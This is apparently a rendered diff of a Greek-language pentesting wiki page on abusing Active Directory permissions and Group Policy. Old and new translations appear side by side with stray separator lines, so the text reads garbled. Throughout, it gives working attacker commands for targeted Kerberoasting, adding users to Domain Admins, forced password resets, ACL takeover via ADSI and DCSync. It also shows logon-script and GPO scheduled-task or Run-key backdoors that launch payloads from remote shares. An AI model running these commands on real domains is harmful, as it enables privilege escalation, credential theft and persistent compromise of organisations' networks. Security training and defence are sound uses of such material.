Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Απενεργοποιήστε την pre-authentication για τον χρήστη, καθιστώντας τον λογαριασμό του ευάλωτο σε ASREPRoasting.
|
||||
- **Targeted ASREPRoasting**: Απενεργοποιήστε το pre-authentication για τον χρήστη, καθιστώντας τον λογαριασμό του ευάλωτο σε ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **Δικαιώματα GenericAll σε ομάδα**
|
||||
## **GenericAll Δικαιώματα σε Ομάδα**
|
||||
|
||||
Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να τροποποιεί τα μέλη μιας ομάδας αν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως την `Domain Admins`. Αφού εντοπίσει το distinguished name της ομάδας με το `Get-NetGroup`, ο επιτιθέμενος μπορεί:
|
||||
Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να χειρίζεται τις συμμετοχές σε ομάδα εάν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως την `Domain Admins`. Αφού εντοπίσει το distinguished name της ομάδας με το `Get-NetGroup`, ο επιτιθέμενος μπορεί:
|
||||
|
||||
- **Προσθήκη του εαυτού τους στην ομάδα Domain Admins**: Αυτό μπορεί να γίνει μέσω άμεσων εντολών ή χρησιμοποιώντας modules όπως Active Directory ή PowerSploit.
|
||||
- **Προσθήκη του εαυτού τους στην ομάδα `Domain Admins`**: Αυτό μπορεί να γίνει μέσω άμεσων εντολών ή χρησιμοποιώντας modules όπως Active Directory ή PowerSploit.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Από Linux μπορείτε επίσης να αξιοποιήσετε το BloodyAD για να προσθέσετε τον εαυτό σας σε οποιεσδήποτε ομάδες όταν κατέχετε GenericAll/Write membership επάνω τους. Εάν η στοχευόμενη ομάδα είναι nested μέσα σε “Remote Management Users”, θα αποκτήσετε αμέσως πρόσβαση WinRM σε hosts που εφαρμόζουν αυτήν την ομάδα:
|
||||
- Από Linux μπορείτε επίσης να εκμεταλλευτείτε το BloodyAD για να προσθέσετε τον εαυτό σας σε αυθαίρετες ομάδες όταν έχετε δικαιώματα GenericAll/Write επ’ αυτών. Εάν η στοχευόμενη ομάδα είναι εμφωλευμένη στο “Remote Management Users”, θα αποκτήσετε αμέσως πρόσβαση WinRM σε hosts που αναγνωρίζουν αυτή την ομάδα:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Η κατοχή αυτών των προνομίων σε ένα αντικείμενο υπολογιστή ή σε έναν λογαριασμό χρήστη επιτρέπει:
|
||||
Η κατοχή αυτών των δικαιωμάτων σε ένα αντικείμενο υπολογιστή ή σε λογαριασμό χρήστη επιτρέπει:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Επιτρέπει την απόκτηση ελέγχου ενός αντικειμένου υπολογιστή.
|
||||
- **Shadow Credentials**: Χρησιμοποιήστε αυτήν την τεχνική για να μιμηθείτε έναν υπολογιστή ή έναν λογαριασμό χρήστη εκμεταλλευόμενοι τα προνόμια για να δημιουργήσετε shadow credentials.
|
||||
- **Kerberos Resource-based Constrained Delegation**: Επιτρέπει την κατάληψη ενός αντικειμένου υπολογιστή.
|
||||
- **Shadow Credentials**: Χρησιμοποιήστε αυτήν την τεχνική για να προσποιηθείτε έναν υπολογιστή ή λογαριασμό χρήστη, εκμεταλλευόμενοι τα δικαιώματα για να δημιουργήσετε shadow credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Εάν ένας χρήστης έχει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα για μια συγκεκριμένη ομάδα (π.χ. `Domain Admins`), μπορεί να:
|
||||
Αν ένας χρήστης διαθέτει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα μιας συγκεκριμένης ομάδας (π.χ., `Domain Admins`), μπορεί να:
|
||||
|
||||
- **Προσθέσουν τους εαυτούς τους στην ομάδα Domain Admins**: Επιτυγχάνεται με το συνδυασμό των εντολών `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει την κλιμάκωση προνομίων εντός του domain.
|
||||
- **Add Themselves to the Domain Admins Group**: Εφικτό μέσω συνδυασμού των εντολών `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει την κλιμάκωση προνομίων εντός του domain.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Το προνόμιο αυτό επιτρέπει σε επιτιθέμενους να προσθέτουν τους εαυτούς τους σε συγκεκριμένες ομάδες, όπως οι `Domain Admins`, μέσω εντολών που χειρίζονται απευθείας τη συμμετοχή σε ομάδες. Η χρήση της ακόλουθης ακολουθίας εντολών επιτρέπει την αυτο-προσθήκη:
|
||||
Αυτό το προνόμιο επιτρέπει σε επιτιθέμενους να προσθέσουν τον εαυτό τους σε συγκεκριμένες ομάδες, όπως `Domain Admins`, μέσω εντολών που χειρίζονται άμεσα τα μέλη της ομάδας. Η χρήση της ακόλουθης ακολουθίας εντολών επιτρέπει την αυτο-προσθήκη:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Αυτο-συμμετοχή)**
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Ένα παρόμοιο προνόμιο, αυτό επιτρέπει σε επιτιθέμενους να προσθέτουν άμεσα τους εαυτούς τους σε ομάδες τροποποιώντας τις ιδιότητες των ομάδων εάν έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και εκτέλεση αυτού του προνομίου πραγματοποιούνται με:
|
||||
Ένα παρόμοιο προνόμιο, αυτό επιτρέπει σε επιτιθέμενους να προσθέτουν απευθείας τον εαυτό τους σε ομάδες τροποποιώντας τις ιδιότητες της ομάδας, εφόσον έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και η εκτέλεση αυτού του προνόμιου γίνονται με:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά του κωδικού χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας διάφορες μεθόδους για την επαναφορά του κωδικού ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και one-liners για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως τη χρήση του `rpcclient` σε Linux, δείχνοντας την ευελιξία των attack vectors.
|
||||
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά κωδικών χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας διάφορες μεθόδους για την επαναφορά του κωδικού ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και one-liners για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως τη χρήση του `rpcclient` σε Linux, δείχνοντας την ευελιξία των attack vectors.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner σε ομάδα**
|
||||
## **WriteOwner on Group**
|
||||
|
||||
Εάν ένας επιτιθέμενος διαπιστώσει ότι έχει δικαιώματα `WriteOwner` σε μια ομάδα, μπορεί να αλλάξει την ιδιοκτησία της ομάδας στον εαυτό του. Αυτό είναι ιδιαίτερα σημαντικό όταν η ομάδα που εξετάζεται είναι οι `Domain Admins`, καθώς η αλλαγή του ιδιοκτήτη επιτρέπει ευρύτερο έλεγχο των χαρακτηριστικών της ομάδας και της σύνθεσης μελών. Η διαδικασία περιλαμβάνει τον εντοπισμό του σωστού αντικειμένου μέσω του `Get-ObjectAcl` και στη συνέχεια τη χρήση του `Set-DomainObjectOwner` για την τροποποίηση του ιδιοκτήτη, είτε με SID είτε με όνομα.
|
||||
Εάν ένας επιτιθέμενος διαπιστώσει ότι έχει δικαιώματα `WriteOwner` πάνω σε μια ομάδα, μπορεί να αλλάξει την ιδιοκτησία της ομάδας στον εαυτό του. Αυτό είναι ιδιαίτερα επιδραστικό όταν η ομάδα στην οποία αναφερόμαστε είναι οι `Domain Admins`, καθώς η αλλαγή ιδιοκτησίας επιτρέπει ευρύτερο έλεγχο πάνω σε χαρακτηριστικά της ομάδας και στη σύνθεσή της. Η διαδικασία περιλαμβάνει τον εντοπισμό του σωστού αντικειμένου μέσω `Get-ObjectAcl` και στη συνέχεια τη χρήση του `Set-DomainObjectOwner` για να τροποποιηθεί ο ιδιοκτήτης, είτε με SID είτε με όνομα.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει ιδιότητες χρήστη. Συγκεκριμένα, με πρόσβαση `GenericWrite`, ο επιτιθέμενος μπορεί να αλλάξει τη διαδρομή του logon script ενός χρήστη ώστε να εκτελεστεί ένα κακόβουλο script κατά τη σύνδεση του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για να ενημερωθεί η ιδιότητα `scriptpath` του στοχευόμενου χρήστη ώστε να δείχνει στο script του επιτιθέμενου.
|
||||
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει ιδιότητες χρήστη. Συγκεκριμένα, με πρόσβαση `GenericWrite`, ο επιτιθέμενος μπορεί να αλλάξει τη διαδρομή του logon script ενός χρήστη ώστε να εκτελεστεί ένα κακόβουλο script κατά το logon του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για να ενημερωθεί η ιδιότητα `scriptpath` του στοχευμένου χρήστη ώστε να δείχνει στο script του επιτιθέμενου.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
## **GenericWrite on Group
|
||||
|
||||
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να τροποποιήσουν τη σύνθεση των μελών μιας ομάδας, όπως να προσθέσουν τον εαυτό τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτηρίων, τη χρήση του για την προσθήκη ή αφαίρεση χρηστών από μια ομάδα και την επαλήθευση των αλλαγών στη συμμετοχή με εντολές PowerShell.
|
||||
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειρίζονται τη συμμετοχή σε ομάδες, όπως να προσθέτουν τον εαυτό τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός credential object, τη χρήση του για να προσθέσουν ή να αφαιρέσουν χρήστες από μια ομάδα, και την επαλήθευση των αλλαγών συμμετοχής με εντολές PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Η κατοχή ενός αντικειμένου AD και η ύπαρξη δικαιωμάτων `WriteDACL` επ’ αυτού επιτρέπουν σε έναν επιτιθέμενο να χορηγήσει στον εαυτό του δικαιώματα `GenericAll` στο αντικείμενο. Αυτό επιτυγχάνεται μέσω χειρισμού ADSI, παρέχοντας πλήρη έλεγχο του αντικειμένου και τη δυνατότητα τροποποίησης της συμμετοχής του σε ομάδες. Παρόλα αυτά, υπάρχουν περιορισμοί όταν επιχειρείται η εκμετάλλευση αυτών των δικαιωμάτων με χρήση του Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.
|
||||
Το να κατέχεις ένα αντικείμενο AD και να έχεις δικαιώματα `WriteDACL` πάνω του επιτρέπει σε έναν επιτιθέμενο να παραχωρήσει στον εαυτό του δικαιώματα `GenericAll` πάνω στο αντικείμενο. Αυτό επιτυγχάνεται μέσω χειρισμού του ADSI, παρέχοντας πλήρη έλεγχο του αντικειμένου και τη δυνατότητα να τροποποιήσει τις συμμετοχές του σε ομάδες. Παρόλα αυτά, υπάρχουν περιορισμοί όταν κάποιος προσπαθεί να εκμεταλλευτεί αυτά τα δικαιώματα χρησιμοποιώντας τα cmdlets `Set-Acl` / `Get-Acl` του Active Directory module.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Αναπαραγωγή στο Domain (DCSync)**
|
||||
## **Αναπαραγωγή στον τομέα (DCSync)**
|
||||
|
||||
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα replication στο domain για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως `DS-Replication-Get-Changes`, που επιτρέπουν σε επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το AD περιβάλλον χωρίς άμεση πρόσβαση σε Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα αναπαραγωγής στον τομέα για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως `DS-Replication-Get-Changes`, επιτρέποντας σε επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το AD περιβάλλον χωρίς άμεση πρόσβαση σε Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO Delegation
|
||||
### Ανάθεση GPO
|
||||
|
||||
Η εκχώρηση δικαιωμάτων για διαχείριση Group Policy Objects (GPOs) μπορεί να παρουσιάσει σημαντικούς κινδύνους ασφαλείας. Για παράδειγμα, αν σε έναν χρήστη όπως ο `offense\spotless` δοθούν δικαιώματα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτά τα δικαιώματα μπορούν να καταχραστούν για κακόβουλους σκοπούς, όπως εντοπίστηκε με PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Η εξουσιοδότηση για τη διαχείριση των Group Policy Objects (GPOs) μπορεί να παρουσιάσει σημαντικούς κινδύνους ασφάλειας. Για παράδειγμα, αν σε έναν χρήστη όπως ο `offense\spotless` ανατεθούν δικαιώματα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτά τα δικαιώματα μπορούν να χρησιμοποιηθούν κακόβουλα, όπως εντοπίζεται με το PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerate GPO Permissions
|
||||
### Ανίχνευση Δικαιωμάτων GPO
|
||||
|
||||
Για να εντοπιστούν λανθασμένα ρυθμισμένα GPOs, τα cmdlets του PowerSploit μπορούν να αλυσιδωθούν. Αυτό επιτρέπει την ανακάλυψη GPOs που ένας συγκεκριμένος χρήστης έχει δικαιώματα να διαχειριστεί: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Για να εντοπιστούν λανθασμένα ρυθμισμένα GPOs, τα cmdlets του PowerSploit μπορούν να συνδυαστούν. Αυτό επιτρέπει την ανακάλυψη GPOs που ένας συγκεκριμένος χρήστης έχει δικαιώματα να διαχειρίζεται: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computers with a Given Policy Applied**: Είναι δυνατό να επιλυθεί ποιους υπολογιστές εφαρμόζει μια συγκεκριμένη GPO, βοηθώντας στην κατανόηση του εύρους του πιθανόυ αντίκτυπου. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Computers with a Given Policy Applied**: Είναι δυνατό να επιλυθεί σε ποιους υπολογιστές εφαρμόζεται ένα συγκεκριμένο GPO, βοηθώντας στην κατανόηση του εύρους της πιθανής επίπτωσης. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Policies Applied to a Given Computer**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως `Get-DomainGPO`.
|
||||
|
||||
**OUs with a Given Policy Applied**: Ο εντοπισμός των organizational units (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας `Get-DomainOU`.
|
||||
**OUs with a Given Policy Applied**: Η αναγνώριση των organizational units (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας `Get-DomainOU`.
|
||||
|
||||
You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**GPOHound**](https://github.com/cogiceo/GPOHound) για να καταγράψετε τα GPOs και να βρείτε ζητήματα σε αυτά.
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
### Εκμετάλλευση GPO - New-GPOImmediateTask
|
||||
|
||||
Λανθασμένα ρυθμισμένα GPOs μπορούν να εκμεταλλευτούν για να εκτελέσουν κώδικα, για παράδειγμα, δημιουργώντας ένα immediate scheduled task. Αυτό μπορεί να χρησιμοποιηθεί για να προστεθεί ένας χρήστης στην ομάδα τοπικών administrators στους επηρεαζόμενους υπολογιστές, αυξάνοντας σημαντικά τα προνόμια:
|
||||
Τα λανθασμένα ρυθμισμένα GPOs μπορούν να εκμεταλλευτούν για την εκτέλεση κώδικα, για παράδειγμα με τη δημιουργία μιας άμεσης χρονοπρογραμματισμένης εργασίας. Αυτό μπορεί να γίνει για να προστεθεί ένας χρήστης στην τοπική ομάδα διαχειριστών σε επηρεαζόμενους υπολογιστές, αυξάνοντας σημαντικά τα προνόμια:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Το GroupPolicy module, αν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και τη σύνδεση νέων GPOs, καθώς και τη ρύθμιση προτιμήσεων όπως registry values για την εκτέλεση backdoors στους επηρεαζόμενους υπολογιστές. Αυτή η μέθοδος απαιτεί το GPO να ενημερωθεί και έναν χρήστη να συνδεθεί στον υπολογιστή για την εκτέλεση:
|
||||
Το GroupPolicy module, εάν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και τη σύνδεση νέων GPOs, καθώς και τη ρύθμιση προτιμήσεων όπως registry values για την εκτέλεση backdoors στους επηρεαζόμενους υπολογιστές. Αυτή η μέθοδος απαιτεί το GPO να ενημερωθεί και έναν χρήστη να συνδεθεί στον υπολογιστή για να εκτελεστεί:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse προσφέρει μια μέθοδο για να καταχραστείτε υπάρχοντα GPOs προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί τροποποίηση των υπαρχόντων GPOs ή χρήση εργαλείων RSAT για τη δημιουργία νέων πριν από την εφαρμογή των αλλαγών:
|
||||
Το SharpGPOAbuse προσφέρει μια μέθοδο για την κατάχρηση υπαρχόντων GPOs, προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί την τροποποίηση υπαρχόντων GPOs ή τη χρήση εργαλείων RSAT για τη δημιουργία νέων πριν την εφαρμογή των αλλαγών:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Εξαναγκαστική Ενημέρωση Πολιτικής
|
||||
### Εξαναγκασμένη Ενημέρωση Πολιτικής
|
||||
|
||||
Οι ενημερώσεις των GPO συνήθως γίνονται περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, μπορεί να χρησιμοποιηθεί στην στοχευόμενη μηχανή η εντολή `gpupdate /force` για να εξαναγκάσει άμεση ενημέρωση πολιτικής. Αυτή η εντολή διασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO εφαρμόζονται χωρίς να περιμένουν τον επόμενο αυτόματο κύκλο ενημέρωσης.
|
||||
Οι ενημερώσεις των GPO συνήθως πραγματοποιούνται περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, μπορεί να χρησιμοποιηθεί στον στοχευόμενο υπολογιστή η εντολή `gpupdate /force` για να εξαναγκάσει άμεση ενημέρωση πολιτικής. Αυτή η εντολή διασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO εφαρμόζονται χωρίς να περιμένουν τον επόμενο αυτόματο κύκλο ενημέρωσης.
|
||||
|
||||
### Στο Εσωτερικό
|
||||
### Πώς λειτουργεί
|
||||
|
||||
Κατά την επιθεώρηση των Scheduled Tasks για ένα συγκεκριμένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως το `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω scripts ή εργαλείων γραμμής εντολών με σκοπό τη τροποποίηση της συμπεριφοράς του συστήματος ή την ανύψωση προνομίων.
|
||||
Κατά την επιθεώρηση των Προγραμματισμένων Εργασιών (Scheduled Tasks) για ένα συγκεκριμένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως το `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω scripts ή εργαλείων γραμμής εντολών με στόχο τη μεταβολή της συμπεριφοράς του συστήματος ή την κλιμάκωση προνομίων.
|
||||
|
||||
Η δομή της εργασίας, όπως φαίνεται στο XML configuration file που δημιουργείται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της scheduled task — συμπεριλαμβανομένης της εντολής προς εκτέλεση και των triggers της. Αυτό το αρχείο δείχνει πώς ορίζονται και διαχειρίζονται οι scheduled tasks μέσα σε GPOs, παρέχοντας έναν τρόπο εκτέλεσης αυθαίρετων εντολών ή scripts ως μέρος της εφαρμογής πολιτικής.
|
||||
Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που παράγεται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας — συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των triggers της. Αυτό το αρχείο αντιπροσωπεύει τον τρόπο με τον οποίο ορίζονται και διαχειρίζονται οι προγραμματισμένες εργασίες εντός των GPO, παρέχοντας έναν τρόπο εκτέλεσης αυθαίρετων εντολών ή scripts στο πλαίσιο της επιβολής πολιτικής.
|
||||
|
||||
### Χρήστες και Ομάδες
|
||||
|
||||
Τα GPOs επιτρέπουν επίσης την αλλαγή μελών χρηστών και ομάδων σε στοχευμένα συστήματα. Επεξεργαζόμενοι απευθείας τα αρχεία πολιτικής Users and Groups, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως την τοπική ομάδα `administrators`. Αυτό είναι εφικτό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, η οποία επιτρέπει τη τροποποίηση των αρχείων πολιτικής ώστε να συμπεριλαμβάνουν νέους χρήστες ή να αλλάζουν συμμετοχές σε ομάδες.
|
||||
Τα GPO επιτρέπουν επίσης τη χειραγώγηση των μελών χρηστών και ομάδων στα στοχευμένα συστήματα. Επεξεργαζόμενοι απευθείας τα policy αρχεία Users and Groups, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `administrators`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για την προσθήκη νέων χρηστών ή την αλλαγή των μελών ομάδων.
|
||||
|
||||
Το XML configuration file για τα Users and Groups περιγράφει πώς υλοποιούνται αυτές οι αλλαγές. Προσθέτοντας εγγραφές σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να αποκτήσουν αυξημένα προνόμια σε επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για ανύψωση προνομίων μέσω της χειραγώγησης GPO.
|
||||
Το αρχείο διαμόρφωσης XML για τα Users and Groups περιγράφει τον τρόπο εφαρμογής αυτών των αλλαγών. Προσθέτοντας εγγραφές σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να λάβουν αυξημένα προνόμια σε όλα τα επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για κλιμάκωση προνομίων μέσω της χειραγώγησης των GPO.
|
||||
|
||||
Επιπλέον, μπορούν να ληφθούν υπόψη επιπρόσθετες μέθοδοι για εκτέλεση κώδικα ή διατήρηση persistence, όπως η χρήση logon/logoff scripts, η τροποποίηση registry keys για autoruns, η εγκατάσταση λογισμικού μέσω .msi αρχείων, ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για διατήρηση πρόσβασης και έλεγχο των στοχευμένων συστημάτων μέσω της κατάχρησης των GPOs.
|
||||
